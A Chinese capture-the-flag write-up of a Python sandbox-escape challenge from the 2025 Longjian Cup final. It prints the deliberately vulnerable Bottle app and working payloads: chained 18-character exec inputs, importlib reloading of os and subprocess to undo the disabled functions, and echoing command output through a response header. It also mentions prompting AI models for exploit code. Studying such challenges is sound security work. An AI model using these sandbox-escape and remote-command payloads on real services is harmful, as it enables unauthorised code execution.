webshell大派送是2025年陇剑杯决赛的关于WEB安全的Python沙箱逃逸题目。
陇剑杯决赛采用每30分钟一轮更换题目的机制,更换之后无法继续提交原来题目的答案。
比赛过程中这道题目只有杭州安恒的ZhaoWD战队做出来了。

题目分析

题目源代码见app.py。

import sys
from bottle import Bottle,request

def disabled(*args, **kwargs):
raise PermissionError("Use of function is not allowed!")


def init_functions():
import subprocess
sys.modules['os'].popen = disabled
sys.modules['os'].system = disabled
sys.modules['os'].open = disabled
sys.modules['os'].spawnl = disabled
sys.modules['os'].spawnle = disabled
sys.modules['os'].spawnlp = disabled
sys.modules['os'].spawnlpe = disabled
sys.modules['os'].spawnv = disabled
sys.modules['os'].spawnve = disabled
sys.modules['os'].spawnvp = disabled
sys.modules['os'].spawnvpe = disabled
sys.modules['subprocess'].Popen = disabled
sys.modules['subprocess'].run = disabled
sys.modules['subprocess'].call = disabled
sys.modules['subprocess'].check_call = disabled
sys.modules['subprocess'].check_output = disabled
sys.modules['subprocess'].getstatusoutput = disabled
sys.modules['subprocess'].getoutput = disabled
del __builtins__.__dict__['open']


app = Bottle()

@app.route('/shell')
def index():
cmd = request.query.cmd
if len(cmd) > 18:
return "Hacker!"
exec(cmd)
return "ture"

@app.route('/')
def index():
return 'Hello CTFer!'

if __name__ == '__main__':
init_functions()
app.run(host='0.0.0.0', port=5555)

题目代码首先使用init_functions对os、subprocess模块的敏感函数进行替换,加固沙箱环境。然后使用Bottle框架创建了一个监听5555端口的简易WEB应用程序,定义了两个路由,根路由返回欢迎信息,/shell路由对请求query的cmd参数进行检验,校验通过后传入exec函数执行。

为了成功执行命令,需要绕过题目的两个限制:

  1. 一是单次请求的payload长度限制不超过18个字符
  2. 二是常见的一些执行命令的函数被替换为disabled。

此外,题目环境不出网,没有办法利用dnslog或者wget命令等流量带外的OOB方法拿到命令执行的结果,需要使用其他办法将命令执行结果显示在请求响应中。

绕过字符长度的限制

代码里默认有一些全局的变量,如sysapp等,可以通过设置这些全局变量的某个属性来实现参数的持久化。

app = Bottle()

@app.route('/shell')
def index():
cmd = request.query.cmd
if len(cmd) > 18:
return "Hacker!"
exec(cmd)

return "ture"

这篇题解里提到可以逐字符叠加:

注意其中的exec函数,这个是可记忆的,所以只要逐步进行字符叠加,最后打一个内存马即可

按照这种方法可以添加需要执行的命令,但是很不优雅。每次请求除去固定的sys.x+=""(9个字符)仅能写9个字符,假设最终执行的命令长度是200,需要发送23次请求。

Gemini给出了一个可行的办法是通过HTTP请求的其他参数来传递payload,例如请求/shell?cmd=exec(request.query.x)&x=print('this is payload!'),实际的payload在GET请求的x参数,cmd参数负责去调用payload。

原理上可行、但是实际使用需要进行调整,因为exec(request.query.x)的长度是21、超过了18个字符的限制。

调整后的办法是:

  1. 发送请求/shell?cmd=sys.x=request,将request对象存入全局变量sys.x
  2. 发送请求/shell?cmd=sys.y=sys.x.query&c=print('this is payload!'),将payload写入当前请求的c参数中,同时将请求的GET参数写入系统的sys.y变量;
  3. 发送请求/shell?cmd=exec(sys.y['c'])执行上一个请求写入的payload。

payload需要第2个请求附加,因为写入sys.y的query在第二个请求时已固定。

绕过disabled函数

绕过命令的长度限制之后可以执行任意长度的命令,但是常见的系统命令均被替换成disabled函数。
这种替换是偏底层的,替换之后再导入对应模块、运行被替换的函数时会提示函数调用被禁用。

绕过的方法是使用importlib重新载入os模块。

import importlib;
importlib.reload(importlib.import_module('os')).system('whoami')

重新载入模块之后模块的各个函数都是干净的,没有被disabled替换。

命令执行回显

我想到的命令执行回显的方式是引入bottle库的response模块,通过HTTP响应头来传递结果。

import importlib;
from bottle import response;
sys.z=importlib.reload(importlib.import_module('subprocess')).check_output('cmd /c dir');
import base64;
response.add_header('xx',base64.b64encode(sys.z))

我尝试使用response.body直接将命令结果放在响应体中,并没有成功。

命令执行效果演示

命令执行效果如下:


其他信息

使用VSCode调试程序代码

为了在VSCode中调试bottle的app.py代码,需要设置如下调试配置文件.vscode/launch.json

{
"version": "0.2.0",
"configurations": [
{
"name": "Python: Bottle App",
"type": "debugpy",
"request": "launch",
"program": "${workspaceFolder}/app.py", // 你的入口文件名
"console": "integratedTerminal",
"justMyCode": true,
"subProcess": true // 关键:如果开启了 Bottle 的 reloader,必须设为 true
}
]
}

同时对代码进行如下两处调整,注释第一行代码、取消第二行代码的注释:

del __builtins__.__dict__['open']
# del __builtins__['open']

app.run(host='0.0.0.0', port=5555)
# app.run(host='0.0.0.0', port=5555, debug=True, reloader=False)

Docker环境靶场

不同AI模型对题目漏洞信息的分析

提示词
请分析如下python代码的安全风险,并给出具体的可以实现命令执行的利用代码或请求。
初步分析代码存在如下限制:
1、单次请求传输的cmd参数大小不能超过18;
2、将常见的执行命令的函数替换为disabled
3、命令结果无回显、且不能OOB出网

问了下各个AI大语言模型,Gemini效果要好一些。

一个请求实现RCE并回显命令执行结果

通过request.json可以实现一个请求实现所有的步骤,超出我先前理解的是在GET请求中也可以设置content-type实现请求体的上传。

使用exec(request.json)整个payload长度刚好18,刚好可以完成任务。

解题情况

按照2025年陇剑杯决赛的赛制,每半个小时放两道题目,半小时结束之后进行题目轮换,原来的题目无法继续解答。

按照CTF-Archives的repo,比赛中有一只队伍成功做出了这一题,题目的质量我感觉非常高。

我查了下比赛的流量包,是杭州安恒的ZhaoWD战队在第11轮27分钟的时候解出来的。